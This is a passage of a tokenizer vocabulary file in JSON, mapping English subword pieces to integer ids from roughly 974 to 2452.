"ract": 974, "ween": 975, "\u0120same": 976, "oun": 977, "\u0120Al": 978, "ci": 979, "\u0120differe": 980, "\u0120while": 981, "--------": 982, "\u0120game": 983, "cept": 984, "\u0120sim": 985, "...": 986, "\u0120inter": 987, "ek": 988, "\u0120report": 989, "\u0120produ": 990, "\u0120still": 991, "led": 992, "ah": 993, "\u0120here": 994, "\u0120world": 995, "\u0120though": 996, "\u0120num": 997, "arch": 998, "imes": 999, "ale": 1000, "\u0120Se": 1001, "\u0120If": 1002, "//": 1003, "\u0120Le": 1004, "\u0120ret": 1005, "\u0120ref": 1006, "\u0120trans": 1007, "ner": 1008, "ution": 1009, "ters": 1010, "\u0120take": 1011, "\u0120Cl": 1012, "\u0120conf": 1013, "way": 1014, "ave": 1015, "\u0120going": 1016, "\u0120sl": 1017, "ug": 1018, "\u0120Americ": 1019, "\u0120spec": 1020, "\u0120hand": 1021, "\u0120between": 1022, "ists": 1023, "\u0120De": 1024, "oot": 1025, "It": 1026, "\u0120ear": 1027, "\u0120against": 1028, "\u0120high": 1029, "gan": 1030, "az": 1031, "ather": 1032, "\u0120exp": 1033, "\u0120op": 1034, "\u0120ins": 1035, "\u0120gr": 1036, "\u0120help": 1037, "\u0120requ": 1038, "ets": 1039, "ins": 1040, "\u0120Pro": 1041, "ism": 1042, "\u0120found": 1043, "land": 1044, "ata": 1045, "uss": 1046, "ames": 1047, "\u0120person": 1048, "\u0120great": 1049, "pr": 1050, "\u0120sign": 1051, "\u0120An": 1052, "'ve": 1053, "\u0120somet": 1054, "\u0120ser": 1055, "hip": 1056, "\u0120run": 1057, "\u0120:": 1058, "\u0120ter": 1059, "irect": 1060, "\u0120follow": 1061, "\u0120det": 1062, "ices": 1063, "\u0120find": 1064, "12": 1065, "\u0120mem": 1066, "\u0120cr": 1067, "ered": 1068, "ex": 1069, "\u0120ext": 1070, "uth": 1071, "ense": 1072, "co": 1073, "\u0120team": 1074, "ving": 1075, "ouse": 1076, "ash": 1077, "att": 1078, "ved": 1079, "\u0120system": 1080, "\u0120As": 1081, "der": 1082, "ives": 1083, "min": 1084, "\u0120lead": 1085, "\u0120Bl": 1086, "cent": 1087, "\u0120around": 1088, "\u0120govern": 1089, "\u0120cur": 1090, "velop": 1091, "any": 1092, "\u0120cour": 1093, "alth": 1094, "ages": 1095, "ize": 1096, "\u0120car": 1097, "ode": 1098, "\u0120law": 1099, "\u0120read": 1100, "'m": 1101, "con": 1102, "\u0120real": 1103, "\u0120support": 1104, "\u012012": 1105, "....": 1106, "\u0120really": 1107, "ness": 1108, "\u0120fact": 1109, "\u0120day": 1110, "\u0120both": 1111, "ying": 1112, "\u0120serv": 1113, "\u0120For": 1114, "\u0120three": 1115, "\u0120wom": 1116, "\u0120med": 1117, "ody": 1118, "\u0120They": 1119, "50": 1120, "\u0120exper": 1121, "ton": 1122, "\u0120each": 1123, "akes": 1124, "\u0120che": 1125, "\u0120cre": 1126, "ines": 1127, "\u0120rep": 1128, "19": 1129, "gg": 1130, "illion": 1131, "\u0120grou": 1132, "ute": 1133, "ik": 1134, "We": 1135, "get": 1136, "ER": 1137, "\u0120met": 1138, "\u0120says": 1139, "ox": 1140, "\u0120during": 1141, "ern": 1142, "ized": 1143, "ared": 1144, "\u0120fam": 1145, "ically": 1146, "\u0120happ": 1147, "\u0120Is": 1148, "\u0120char": 1149, "med": 1150, "vent": 1151, "\u0120gener": 1152, "ient": 1153, "ple": 1154, "iet": 1155, "rent": 1156, "11": 1157, "ves": 1158, "ption": 1159, "\u012020": 1160, "formation": 1161, "\u0120cor": 1162, "\u0120offic": 1163, "ield": 1164, "\u0120too": 1165, "ision": 1166, "\u0120inf": 1167, "\u0120Z": 1168, "the": 1169, "oad": 1170, "\u0120public": 1171, "\u0120prog": 1172, "ric": 1173, "**": 1174, "\u0120war": 1175, "\u0120power": 1176, "view": 1177, "\u0120few": 1178, "\u0120loc": 1179, "\u0120different": 1180, "\u0120state": 1181, "\u0120head": 1182, "'ll": 1183, "\u0120poss": 1184, "\u0120stat": 1185, "ret": 1186, "ants": 1187, "\u0120val": 1188, "\u0120iss": 1189, "\u0120cle": 1190, "ivers": 1191, "anc": 1192, "\u0120expl": 1193, "\u0120another": 1194, "\u0120Q": 1195, "\u0120av": 1196, "thing": 1197, "nce": 1198, "Wh": 1199, "\u0120child": 1200, "\u0120since": 1201, "ired": 1202, "less": 1203, "\u0120life": 1204, "\u0120develop": 1205, "ittle": 1206, "\u0120dep": 1207, "\u0120pass": 1208, "\u00e3\u0125": 1209, "\u0120turn": 1210, "orn": 1211, "This": 1212, "bers": 1213, "ross": 1214, "\u0120Ad": 1215, "\u0120fr": 1216, "\u0120resp": 1217, "\u0120second": 1218, "oh": 1219, "\u0120/": 1220, "\u0120disc": 1221, "\u0120&": 1222, "\u0120something": 1223, "\u0120comple": 1224, "\u0120ed": 1225, "\u0120fil": 1226, "\u0120month": 1227, "aj": 1228, "uc": 1229, "\u0120government": 1230, "\u0120without": 1231, "\u0120leg": 1232, "\u0120dist": 1233, "\u0120put": 1234, "\u0120quest": 1235, "ann": 1236, "\u0120prot": 1237, "20": 1238, "\u0120never": 1239, "ience": 1240, "\u0120level": 1241, "\u0120art": 1242, "\u0120things": 1243, "\u0120might": 1244, "\u0120effect": 1245, "\u0120contro": 1246, "\u0120cent": 1247, "\u012018": 1248, "\u0120allow": 1249, "\u0120belie": 1250, "chool": 1251, "ott": 1252, "\u0120incre": 1253, "\u0120feel": 1254, "\u0120result": 1255, "\u0120lot": 1256, "\u0120fun": 1257, "ote": 1258, "\u0120ty": 1259, "erest": 1260, "\u0120contin": 1261, "\u0120using": 1262, "\u0120big": 1263, "201": 1264, "\u0120ask": 1265, "\u0120best": 1266, "\u0120)": 1267, "IN": 1268, "\u0120opp": 1269, "30": 1270, "\u0120number": 1271, "iness": 1272, "St": 1273, "lease": 1274, "\u0120ca": 1275, "\u0120must": 1276, "\u0120direct": 1277, "\u0120gl": 1278, "\u0120<": 1279, "\u0120open": 1280, "\u0120post": 1281, "\u0120come": 1282, "\u0120seem": 1283, "ording": 1284, "\u0120week": 1285, "ately": 1286, "ital": 1287, "\u0120el": 1288, "riend": 1289, "\u0120far": 1290, "\u0120tra": 1291, "inal": 1292, "\u0120pri": 1293, "\u0120US": 1294, "\u0120place": 1295, "\u0120form": 1296, "\u0120told": 1297, "\":": 1298, "ains": 1299, "ature": 1300, "\u0120Trump": 1301, "\u0120stand": 1302, "\u0120#": 1303, "ider": 1304, "\u0120Fr": 1305, "\u0120next": 1306, "\u0120soc": 1307, "\u0120pur": 1308, "\u0120let": 1309, "\u0120little": 1310, "\u0120hum": 1311, "\u0120i": 1312, "ron": 1313, "15": 1314, "\u012015": 1315, "\u0120commun": 1316, "\u0120mark": 1317, "\u0120There": 1318, "\u0120wr": 1319, "\u0120That": 1320, "\u0120information": 1321, "ways": 1322, "\u0120bus": 1323, "app": 1324, "\u0120invest": 1325, "me": 1326, "\u0120hard": 1327, "ained": 1328, "ead": 1329, "\u0120import": 1330, "\u0120appro": 1331, "\u0120test": 1332, "\u0120tri": 1333, "\u0120rest": 1334, "osed": 1335, "\u0120full": 1336, "\u0120care": 1337, "\u0120Sp": 1338, "\u0120case": 1339, "ON": 1340, "\u0120sk": 1341, "\u0120less": 1342, "\u0120+": 1343, "\u0120partic": 1344, "\u0120Pl": 1345, "ably": 1346, "uck": 1347, "ished": 1348, "chn": 1349, "be": 1350, "\u0120list": 1351, "ator": 1352, "\u0120top": 1353, "\u0120adv": 1354, "\u0120Be": 1355, "ruct": 1356, "\u0120dem": 1357, "ration": 1358, "ling": 1359, "gy": 1360, "reen": 1361, "ger": 1362, "\u0120home": 1363, "\u0120left": 1364, "\u0120better": 1365, "\u0120data": 1366, "\u012011": 1367, "\u0120attack": 1368, "\u0120proble": 1369, "line": 1370, "ards": 1371, "\u0120beh": 1372, "ral": 1373, "\u0120How": 1374, "\u0120She": 1375, "arge": 1376, "\u0120--": 1377, "://": 1378, "\u0120bro": 1379, "\u0120Ph": 1380, "ats": 1381, "\u0120build": 1382, "ww": 1383, "ided": 1384, "aim": 1385, "ases": 1386, "ency": 1387, "\u0120main": 1388, "ined": 1389, "\u0120including": 1390, "\u0120{": 1391, "\u0120got": 1392, "\u0120interest": 1393, "\u0120keep": 1394, "\u0120X": 1395, "\u0120eas": 1396, "aining": 1397, "\u0120class": 1398, "\u00e2\u0122\u00a6": 1399, "\u0120No": 1400, "\u0120var": 1401, "\u0120small": 1402, "ample": 1403, "AT": 1404, "\u0120ide": 1405, "\u0120So": 1406, "\u0120rece": 1407, "\u0120polit": 1408, "\u0120mov": 1409, "\u0120plan": 1410, "\u0120percent": 1411, "iving": 1412, "\u0120camp": 1413, "\u0120pay": 1414, "14": 1415, "sc": 1416, "ised": 1417, "\u0120unt": 1418, "oney": 1419, "ploy": 1420, "====": 1421, "\u0120didn": 1422, "\u0120Ind": 1423, "els": 1424, "ertain": 1425, "\u0120pos": 1426, "____": 1427, "iver": 1428, "\u0120process": 1429, "\u0120program": 1430, "ified": 1431, "\u0120Rep": 1432, "16": 1433, "uro": 1434, "ology": 1435, "atter": 1436, "ina": 1437, "\u0120name": 1438, "\u0120All": 1439, "\u0120four": 1440, "\u0120return": 1441, "vious": 1442, "bs": 1443, "\u0120called": 1444, "\u0120move": 1445, "\u0120Sc": 1446, "ird": 1447, "\u0120group": 1448, "\u0120bre": 1449, "\u0120men": 1450, "\u0120cap": 1451, "ten": 1452, "ee": 1453, "\u0120dri": 1454, "leg": 1455, "here": 1456, "uthor": 1457, "\u0120pat": 1458, "\u0120current": 1459, "ides": 1460, "\u0120pop": 1461, "to": 1462, "ention": 1463, "\u0120always": 1464, "\u0120mil": 1465, "\u0120women": 1466, "\u012016": 1467, "\u0120old": 1468, "iven": 1469, "raph": 1470, "\u0120Or": 1471, "ror": 1472, "ently": 1473, "\u0120near": 1474, "\u0120Ex": 1475, "ream": 1476, "sh": 1477, "\u012014": 1478, "\u0120free": 1479, "ission": 1480, "stand": 1481, "\u0120Con": 1482, "ality": 1483, "used": 1484, "13": 1485, "\u0120design": 1486, "\u0120change": 1487, "\u0120chang": 1488, "\u0120bo": 1489, "\u0120vis": 1490, "ember": 1491, "\u0120book": 1492, "ready": 1493, "\u0120kill": 1494, "25": 1495, "pped": 1496, "\u0120away": 1497, "\u0120able": 1498, "\u0120country": 1499, "\u0120const": 1500, "arn": 1501, "\u0120order": 1502, "AR": 1503, "ior": 1504, "ium": 1505, "orth": 1506, "18": 1507, "ailable": 1508, "\u0120sw": 1509, "\u0120million": 1510, "\u012013": 1511, "atic": 1512, "ted": 1513, "\u0120Go": 1514, "\u0120oper": 1515, "eng": 1516, "\u0120thing": 1517, "ajor": 1518, "conom": 1519, "\u0120Comm": 1520, "\u0120why": 1521, "ured": 1522, "ural": 1523, "\u0120school": 1524, "by": 1525, "\u0120Mar": 1526, "\u0120aff": 1527, "\u0120days": 1528, "\u0120ann": 1529, "ush": 1530, "ane": 1531, "If": 1532, "eg": 1533, "\u0120prof": 1534, "\u0120health": 1535, "outh": 1536, "But": 1537, "ional": 1538, ".,": 1539, "\u0120sol": 1540, "\u0120already": 1541, "\u012030": 1542, "\u0120charact": 1543, "He": 1544, "\u0120friend": 1545, "ES": 1546, "ians": 1547, "icle": 1548, "'d": 1549, "\u0120On": 1550, "\u0120least": 1551, "\u0120prom": 1552, "\u0120dr": 1553, "\u0120hist": 1554, "ither": 1555, "\u0120est": 1556, "iqu": 1557, "17": 1558, "son": 1559, "\u0120tell": 1560, "\u0120talk": 1561, "ohn": 1562, "oint": 1563, "lection": 1564, "AN": 1565, "\u0120until": 1566, "augh": 1567, "\u0120later": 1568, "\u0120ve": 1569, "\u0120view": 1570, "ending": 1571, "ived": 1572, "\u0120word": 1573, "ware": 1574, "\u0120cost": 1575, "\u0120enough": 1576, "\u0120give": 1577, "\u0120United": 1578, "\u0120techn": 1579, "arent": 1580, "OR": 1581, "\u0120par": 1582, "\u0120Dr": 1583, "\u01202016": 1584, "rist": 1585, "ering": 1586, "\u0120\u00c2": 1587, "\u0120large": 1588, "side": 1589, "acy": 1590, "ccess": 1591, "\u0120win": 1592, "\u0120important": 1593, "\u0120199": 1594, "\u0120doesn": 1595, "\u012017": 1596, "\u0120business": 1597, "\u0120clear": 1598, "\u0120rese": 1599, "\",": 1600, "ury": 1601, "\u0120equ": 1602, "aster": 1603, "alf": 1604, "\u0120American": 1605, "nect": 1606, "\u0120expect": 1607, "iversity": 1608, "\u0120occ": 1609, "\u0120Fl": 1610, "\u0120kind": 1611, "\u0120mean": 1612, "\u0120past": 1613, "\u0120dev": 1614, "\u0120bas": 1615, "let": 1616, "raft": 1617, "\u0120organ": 1618, "\u0120del": 1619, "\u0120perform": 1620, "\u0120story": 1621, "\u0120season": 1622, "\u0120Col": 1623, "\u0120claim": 1624, "\u0120came": 1625, "\u0120within": 1626, "\u0120line": 1627, "\u0120project": 1628, "\u0120At": 1629, "\u0120control": 1630, "ended": 1631, "\u0120Sy": 1632, "\u0120air": 1633, "ization": 1634, "\u0120*": 1635, "ley": 1636, "\u0120money": 1637, "idd": 1638, "You": 1639, "for": 1640, "\u0120family": 1641, "\u0120making": 1642, "\u0120bit": 1643, "\u0120police": 1644, "\u0120happen": 1645, "\u0120vers": 1646, "ony": 1647, "uff": 1648, "\u0120When": 1649, "\u0120sit": 1650, "ideo": 1651, "lf": 1652, "ison": 1653, "\u0120sure": 1654, "gin": 1655, "\u0120appear": 1656, "\u0120light": 1657, "\u0120es": 1658, "of": 1659, "\u0120water": 1660, "\u0120times": 1661, "not": 1662, "\u0120grow": 1663, "\u0120company": 1664, "\u0120Te": 1665, "ows": 1666, "\u0120mar": 1667, "ource": 1668, "iol": 1669, "arm": 1670, "br": 1671, "\u0120example": 1672, "\u0120conc": 1673, "\u0120fore": 1674, "\u0120To": 1675, "pro": 1676, "EN": 1677, "ries": 1678, "\u012025": 1679, "\u0120Can": 1680, "ney": 1681, "\u0120actually": 1682, "\u0120ever": 1683, "urity": 1684, "aken": 1685, "aps": 1686, "\u0120tax": 1687, "\u0120major": 1688, "ama": 1689, "\u0120often": 1690, "eral": 1691, "\u0120human": 1692, "\u0120job": 1693, "ister": 1694, "\u0120available": 1695, "ocr": 1696, "enn": 1697, "aid": 1698, "ivid": 1699, "\u0120record": 1700, "?\"": 1701, "\u0120sing": 1702, "\u0120Am": 1703, "idence": 1704, "\u0120news": 1705, "ster": 1706, "\u0120econom": 1707, "\u0120following": 1708, "\u0120Br": 1709, "ising": 1710, "\u0120hour": 1711, "most": 1712, "ument": 1713, "\u0120sex": 1714, "\u0120desc": 1715, "\u0120become": 1716, "\u0120Ed": 1717, "\u0120took": 1718, "\u0120having": 1719, "\u0120product": 1720, "ault": 1721, "As": 1722, "aring": 1723, "\u0120means": 1724, "\u0120hop": 1725, "une": 1726, "\u0120cho": 1727, "\u0120certain": 1728, "\u0120non": 1729, "\u0120deal": 1730, "24": 1731, "lement": 1732, "oci": 1733, "ene": 1734, "\u0120side": 1735, "\u0120Pr": 1736, "\u0120May": 1737, "\u0120reason": 1738, "ued": 1739, "ched": 1740, "ulation": 1741, "\u0120elect": 1742, "\u0120official": 1743, "\u0120possible": 1744, "\u0120hold": 1745, "ands": 1746, "ots": 1747, "\u0120city": 1748, "ories": 1749, "\u0120sever": 1750, "\u0120children": 1751, "\u0120once": 1752, "\u0120activ": 1753, "ler": 1754, "\u0120night": 1755, "itions": 1756, "\u0120John": 1757, "ape": 1758, "play": 1759, "\u0120done": 1760, "\u0120lim": 1761, "\u0120working": 1762, "\u0120Pres": 1763, "orld": 1764, "eb": 1765, "\u0120Co": 1766, "\u0120body": 1767, "ails": 1768, "utes": 1769, "\u0120Mr": 1770, "\u0120whether": 1771, "\u0120author": 1772, "rop": 1773, "\u0120proper": 1774, "\u0120seen": 1775, ");": 1776, "\u0120fac": 1777, "\u0120Su": 1778, "\u0120cond": 1779, "iting": 1780, "\u0120course": 1781, "\u0120}": 1782, "----------------": 1783, "aign": 1784, "\u0120event": 1785, "\u0120eng": 1786, "\u0120pot": 1787, "\u0120intern": 1788, "iam": 1789, "\u0120short": 1790, "empt": 1791, "\u00e3\u0124": 1792, "\u0120God": 1793, "ilar": 1794, "80": 1795, "\u0120orig": 1796, "IS": 1797, "ourn": 1798, "ability": 1799, "itive": 1800, "\u0120dam": 1801, "\u0120100": 1802, "\u0120press": 1803, "\u0120doing": 1804, "\u0120protect": 1805, "ring": 1806, "\u0120thought": 1807, "\u0120question": 1808, "rew": 1809, "\u0120War": 1810, "\u0120several": 1811, "\u0120State": 1812, "\u0120given": 1813, "\u0120fund": 1814, "\u0120Tw": 1815, "\u0120went": 1816, "ances": 1817, "work": 1818, "por": 1819, "my": 1820, "40": 1821, "\u0120arg": 1822, "artment": 1823, "ustom": 1824, "\u0120polic": 1825, "\u0120meet": 1826, "\u0120creat": 1827, "22": 1828, "\u0120States": 1829, "\u0120games": 1830, "raw": 1831, "uture": 1832, "\u0120understand": 1833, "urs": 1834, "\u0120Ob": 1835, "lish": 1836, "sy": 1837, "\u0120makes": 1838, "\u0120won": 1839, "agon": 1840, "\u0120htt": 1841, "\u0120love": 1842, "ential": 1843, "\u0120complete": 1844, "par": 1845, "\u0120Im": 1846, "AL": 1847, "\u0120account": 1848, "\u00c2\u0142": 1849, "ored": 1850, "vert": 1851, "\u0120ident": 1852, "\u01202015": 1853, "\u0120others": 1854, "\u0120Min": 1855, "iber": 1856, "verage": 1857, "There": 1858, "itional": 1859, "dd": 1860, "\u0120prob": 1861, "\u0120young": 1862, "\u0120along": 1863, "\u0120according": 1864, "\u0120yet": 1865, "\u0120members": 1866, "\u0120What": 1867, "oid": 1868, "\u0120Man": 1869, "And": 1870, "\u0120among": 1871, "ai": 1872, "\u0120employ": 1873, "\u0120Res": 1874, "\u0120>": 1875, "\u0120invol": 1876, "\u0120low": 1877, "af": 1878, "\u0120Car": 1879, "\u0120hig": 1880, "\u0120One": 1881, "\u0120Sec": 1882, "ination": 1883, "\u0120likely": 1884, "\u0120ant": 1885, "aged": 1886, "\u0120Russ": 1887, "\u0120ben": 1888, "\u0120rele": 1889, "For": 1890, "back": 1891, "\u0120Not": 1892, "\u0120president": 1893, "ball": 1894, "\u0120access": 1895, "ividual": 1896, "\u0120Dem": 1897, "\u0120Euro": 1898, "60": 1899, "\u0120known": 1900, "irl": 1901, "\u0120Gr": 1902, "\u0120early": 1903, "use": 1904, "iety": 1905, "\u00e2\u0122\u0135": 1906, "\u0120fight": 1907, "\u0120sent": 1908, "\u0120today": 1909, "\u0120market": 1910, "\".": 1911, "\u0120based": 1912, "\u0120strong": 1913, "urther": 1914, "\u0120deb": 1915, "mber": 1916, "\u0120problem": 1917, "\u0120death": 1918, "\u0120social": 1919, "imate": 1920, "AS": 1921, "ortun": 1922, "\u0120campaign": 1923, "ery": 1924, "Ch": 1925, "\u0120ey": 1926, "ially": 1927, "\u0120mus": 1928, "wh": 1929, "pos": 1930, "\u0120er": 1931, "\u0120saf": 1932, "\u0120months": 1933, "iron": 1934, "\u0120viol": 1935, "\u0120five": 1936, "\u0120stre": 1937, "\u0120players": 1938, "inc": 1939, "ald": 1940, "year": 1941, "aun": 1942, "\u0120success": 1943, "\u0120present": 1944, "erence": 1945, "\u01202014": 1946, "\u0120sugg": 1947, "\u0120particular": 1948, "\u0120try": 1949, "\u0120suggest": 1950, "\u0120Christ": 1951, "ones": 1952, "\u0120priv": 1953, "23": 1954, "\u0120crit": 1955, "\u0120land": 1956, "\u0120local": 1957, "ify": 1958, "29": 1959, "\u0120aut": 1960, "ED": 1961, "\u0120Gu": 1962, "\u0120mult": 1963, "\u0120political": 1964, "\u0120asked": 1965, "\u0120former": 1966, "itter": 1967, "ript": 1968, "\u0120close": 1969, "\u0120pract": 1970, "\u0120York": 1971, "\u0120getting": 1972, "\u0120across": 1973, "\u0120comb": 1974, "\u0120believe": 1975, "\u0120z": 1976, "\u0120toget": 1977, "\u0120together": 1978, "\u0120Cent": 1979, "irc": 1980, "\u0120individual": 1981, "\u0120Mc": 1982, "27": 1983, "isk": 1984, "\u0120Eng": 1985, "\u0120face": 1986, "\u012024": 1987, "\u0120value": 1988, "\u0120area": 1989, "ev": 1990, "\u0120writ": 1991, "\u0120President": 1992, "\u0120vot": 1993, "\u0120key": 1994, "\u0120mom": 1995, "put": 1996, "\u0120anything": 1997, "\u0120experience": 1998, "attle": 1999, "\u0120mind": 2000, "aff": 2001, "omm": 2002, "\u0120future": 2003, "ged": 2004, "\u0120cut": 2005, "\u0120tot": 2006, "itch": 2007, "\u0120video": 2008, "\u0120investig": 2009, "\u0120net": 2010, "\u0120My": 2011, "rict": 2012, "ien": 2013, ".)": 2014, "\u0120impro": 2015, "though": 2016, "wards": 2017, "\u0120connect": 2018, "\u0120Med": 2019, "selves": 2020, "ensive": 2021, "mb": 2022, "ober": 2023, "ators": 2024, "An": 2025, "\u012050": 2026, "\u0120redu": 2027, "resent": 2028, "\u0120above": 2029, "\u0120fre": 2030, "\u0120Europe": 2031, "sw": 2032, "\u0120amount": 2033, "\u0120App": 2034, "\u0120either": 2035, "\u0120milit": 2036, "\u0120anal": 2037, "\u0120fail": 2038, "\u0120En": 2039, "ales": 2040, "\u0120special": 2041, "\u0120black": 2042, "IT": 2043, "cher": 2044, "\u0120looking": 2045, "\u0120fire": 2046, "yn": 2047, "\u0120almost": 2048, "oon": 2049, "\u0120study": 2050, "\u0120miss": 2051, "ches": 2052, "rown": 2053, "\u0120tre": 2054, "\u0120community": 2055, "\u0120media": 2056, "\u0120food": 2057, "\u0120comes": 2058, "\u0120University": 2059, "\u0120single": 2060, "What": 2061, "uly": 2062, "\u0120half": 2063, "ague": 2064, "hod": 2065, "\u0120Republic": 2066, "\u0120started": 2067, "\u0120quick": 2068, "oto": 2069, "book": 2070, "\u0120issue": 2071, "itor": 2072, "\u0120else": 2073, "\u0120consider": 2074, "26": 2075, "rodu": 2076, "\u0120taken": 2077, "28": 2078, "99": 2079, "\u0120With": 2080, "\u0120true": 2081, "\u0120wa": 2082, "\u0120trad": 2083, "\u0120ago": 2084, "\u0120mess": 2085, "ief": 2086, "\u0120added": 2087, "oke": 2088, "\u0120bad": 2089, "\u0120fav": 2090, "33": 2091, "\u0120similar": 2092, "ask": 2093, "\u0120Don": 2094, "\u0120character": 2095, "orts": 2096, "\u0120House": 2097, "\u0120reported": 2098, "\u0120type": 2099, "val": 2100, "iod": 2101, "\u0120However": 2102, "\u0120targ": 2103, "\u0120entire": 2104, "pping": 2105, "\u0120history": 2106, "\u0120live": 2107, "ffic": 2108, "........": 2109, "ederal": 2110, "\u0120trying": 2111, "\u0120discuss": 2112, "\u0120Har": 2113, "aces": 2114, "lished": 2115, "\u0120self": 2116, "osp": 2117, "rest": 2118, "\u0120room": 2119, "elt": 2120, "\u0120fall": 2121, "olution": 2122, "\u0120et": 2123, "\u0120x": 2124, "\u0120isn": 2125, "\u0120idea": 2126, "bo": 2127, "\u0120sound": 2128, "\u0120Dep": 2129, "\u0120someone": 2130, "cially": 2131, "ully": 2132, "\u0120foc": 2133, "\u0120object": 2134, "ift": 2135, "aper": 2136, "\u0120player": 2137, "\u0120rather": 2138, "\u0120service": 2139, "ashing": 2140, "\u0120Do": 2141, "\u0120Part": 2142, "rug": 2143, "mon": 2144, "ply": 2145, "\u0120mor": 2146, "\u0120nothing": 2147, "\u0120provide": 2148, "IC": 2149, "ung": 2150, "\u0120party": 2151, "\u0120exist": 2152, "\u0120mag": 2153, "70": 2154, "\u0120rul": 2155, "\u0120house": 2156, "\u0120behind": 2157, "\u0120however": 2158, "\u0120World": 2159, "\u0120sum": 2160, "\u0120applic": 2161, "\u0120;": 2162, "\u0120function": 2163, "gr": 2164, "\u0120Pol": 2165, "\u0120front": 2166, "200": 2167, "\u0120series": 2168, "\u0120tem": 2169, "\u0120typ": 2170, "ills": 2171, "\u0120opt": 2172, "\u0120points": 2173, "\u0120below": 2174, "itted": 2175, "\u0120specific": 2176, "\u01202017": 2177, "umb": 2178, "\u0120ra": 2179, "\u0120previous": 2180, "\u0120pret": 2181, "reme": 2182, "\u0120custom": 2183, "\u0120court": 2184, "\u0120Me": 2185, "\u0120repl": 2186, "\u0120whole": 2187, "go": 2188, "cer": 2189, "\u0120treat": 2190, "\u0120Act": 2191, "\u0120probably": 2192, "\u0120learn": 2193, "ender": 2194, "\u0120Ass": 2195, "\u0120version": 2196, "now": 2197, "\u0120check": 2198, "\u0120Cal": 2199, "RE": 2200, "minist": 2201, "On": 2202, "ources": 2203, "\u0120benef": 2204, "\u0120doc": 2205, "\u0120deter": 2206, "\u0120enc": 2207, "\u0120super": 2208, "\u0120address": 2209, "\u0120vict": 2210, "\u01202013": 2211, "\u0120meas": 2212, "tr": 2213, "\u0120field": 2214, "When": 2215, "\u0120signific": 2216, "uge": 2217, "\u0120feat": 2218, "\u0120common": 2219, "load": 2220, "\u0120begin": 2221, "\u0120bring": 2222, "\u0120action": 2223, "erman": 2224, "\u0120describ": 2225, "\u0120indust": 2226, "\u0120wanted": 2227, "ried": 2228, "ming": 2229, "\u0120attempt": 2230, "45": 2231, "fer": 2232, "\u0120due": 2233, "ression": 2234, "##": 2235, "\u0120shall": 2236, "\u0120six": 2237, "oo": 2238, "\u0120step": 2239, "\u0120pub": 2240, "\u0120himself": 2241, "\u012023": 2242, "\u0120cop": 2243, "\u0120dest": 2244, "\u0120stop": 2245, "AC": 2246, "ibility": 2247, "\u0120lab": 2248, "icult": 2249, "\u0120hours": 2250, "\u0120create": 2251, "\u0120further": 2252, "\u0120America": 2253, "\u0120City": 2254, "\u0120dou": 2255, "head": 2256, "ST": 2257, "\u0120North": 2258, "cing": 2259, "\u0120national": 2260, "ule": 2261, "\u0120Inst": 2262, "\u0120taking": 2263, "\u0120Qu": 2264, "irt": 2265, "\u0120red": 2266, "\u0120research": 2267, "viron": 2268, "\u0120Ge": 2269, "\u0120break": 2270, "ana": 2271, "\u0120space": 2272, "aterial": 2273, "\u0120recent": 2274, "\u0120Ab": 2275, "\u0120general": 2276, "\u0120hit": 2277, "\u0120period": 2278, "\u0120everything": 2279, "ively": 2280, "\u0120phys": 2281, "\u0120saying": 2282, "anks": 2283, "\u0120cou": 2284, "\u0120cult": 2285, "aced": 2286, "eal": 2287, "uation": 2288, "\u0120coun": 2289, "lu": 2290, "\u0120include": 2291, "\u0120position": 2292, "\u0120After": 2293, "\u0120Canad": 2294, "\u0120Em": 2295, "\u0120imm": 2296, "\u0120Red": 2297, "\u0120pick": 2298, "\u0120compl": 2299, "\u0120matter": 2300, "reg": 2301, "ext": 2302, "angu": 2303, "isc": 2304, "ole": 2305, "aut": 2306, "\u0120compet": 2307, "eed": 2308, "fect": 2309, "\u012021": 2310, "\u0120Sen": 2311, "\u0120These": 2312, "asing": 2313, "\u0120cannot": 2314, "\u0120init": 2315, "\u0120relations": 2316, "ached": 2317, "\u0120bar": 2318, "\u012040": 2319, "\u0120TH": 2320, "\u01202012": 2321, "\u0120vol": 2322, "\u0120ground": 2323, "\u0120security": 2324, "\u0120upd": 2325, "ilt": 2326, "35": 2327, "\u0120concern": 2328, "\u0120Just": 2329, "\u0120white": 2330, "\u0120seems": 2331, "\u0120Her": 2332, "pecially": 2333, "ients": 2334, "\u0120announ": 2335, "\u0120fig": 2336, "ights": 2337, "\u0120stri": 2338, "like": 2339, "ids": 2340, "\u0120sus": 2341, "\u0120watch": 2342, "\u0120\u00e2": 2343, "\u0120wind": 2344, "\u0120Cont": 2345, "\u0120itself": 2346, "\u0120mass": 2347, "Al": 2348, "yle": 2349, "ique": 2350, "\u0120National": 2351, "\u0120abs": 2352, "\u0120pack": 2353, "\u0120outside": 2354, "\u0120anim": 2355, "\u0120pain": 2356, "eter": 2357, "\u0120manag": 2358, "duct": 2359, "ogn": 2360, "\u0120]": 2361, "\u0120Sept": 2362, "sec": 2363, "off": 2364, "\u0120Jan": 2365, "\u0120foot": 2366, "ades": 2367, "\u0120third": 2368, "\u0120mot": 2369, "\u0120evidence": 2370, "inton": 2371, "\u0120threat": 2372, "apt": 2373, "ples": 2374, "cle": 2375, "\u0120lo": 2376, "\u0120decl": 2377, "\u0120item": 2378, "medi": 2379, "\u0120represent": 2380, "omb": 2381, "amer": 2382, "\u0120significant": 2383, "ograph": 2384, "su": 2385, "\u0120cal": 2386, "ires": 2387, "0000": 2388, "ID": 2389, "AM": 2390, "\u0120simply": 2391, "\u0120longer": 2392, "\u0120file": 2393, "OT": 2394, "che": 2395, "So": 2396, "ateg": 2397, "org": 2398, "\u0120His": 2399, "\u0120ener": 2400, "\u0120dom": 2401, "\u0120upon": 2402, "ili": 2403, "\":\"": 2404, "\u0120themselves": 2405, "\u0120coming": 2406, "\u0120quite": 2407, "\u0120difficult": 2408, "\u0120Bar": 2409, "ilities": 2410, "rel": 2411, "ends": 2412, "cial": 2413, "64": 2414, "\u0120woman": 2415, "rap": 2416, "yr": 2417, "\u0120necess": 2418, "ips": 2419, "\u0120text": 2420, "\u0120require": 2421, "\u0120military": 2422, "\u0120review": 2423, "\u0120respons": 2424, "75": 2425, "\u0120subject": 2426, "\u0120instead": 2427, "\u0120issues": 2428, "\u0120gen": 2429, "\",\"": 2430, "\u0120minutes": 2431, "\u0120weap": 2432, "ray": 2433, "amed": 2434, "time": 2435, "bl": 2436, "How": 2437, "\u0120code": 2438, "\u0120Sm": 2439, "\u0120higher": 2440, "\u0120Ste": 2441, "ris": 2442, "\u0120page": 2443, "\u0120students": 2444, "\u0120Intern": 2445, "\u0120method": 2446, "\u0120Aug": 2447, "\u0120Per": 2448, "\u0120Ag": 2449, "\u0120policy": 2450, "\u0120Sw": 2451, "\u0120exec": 2452, 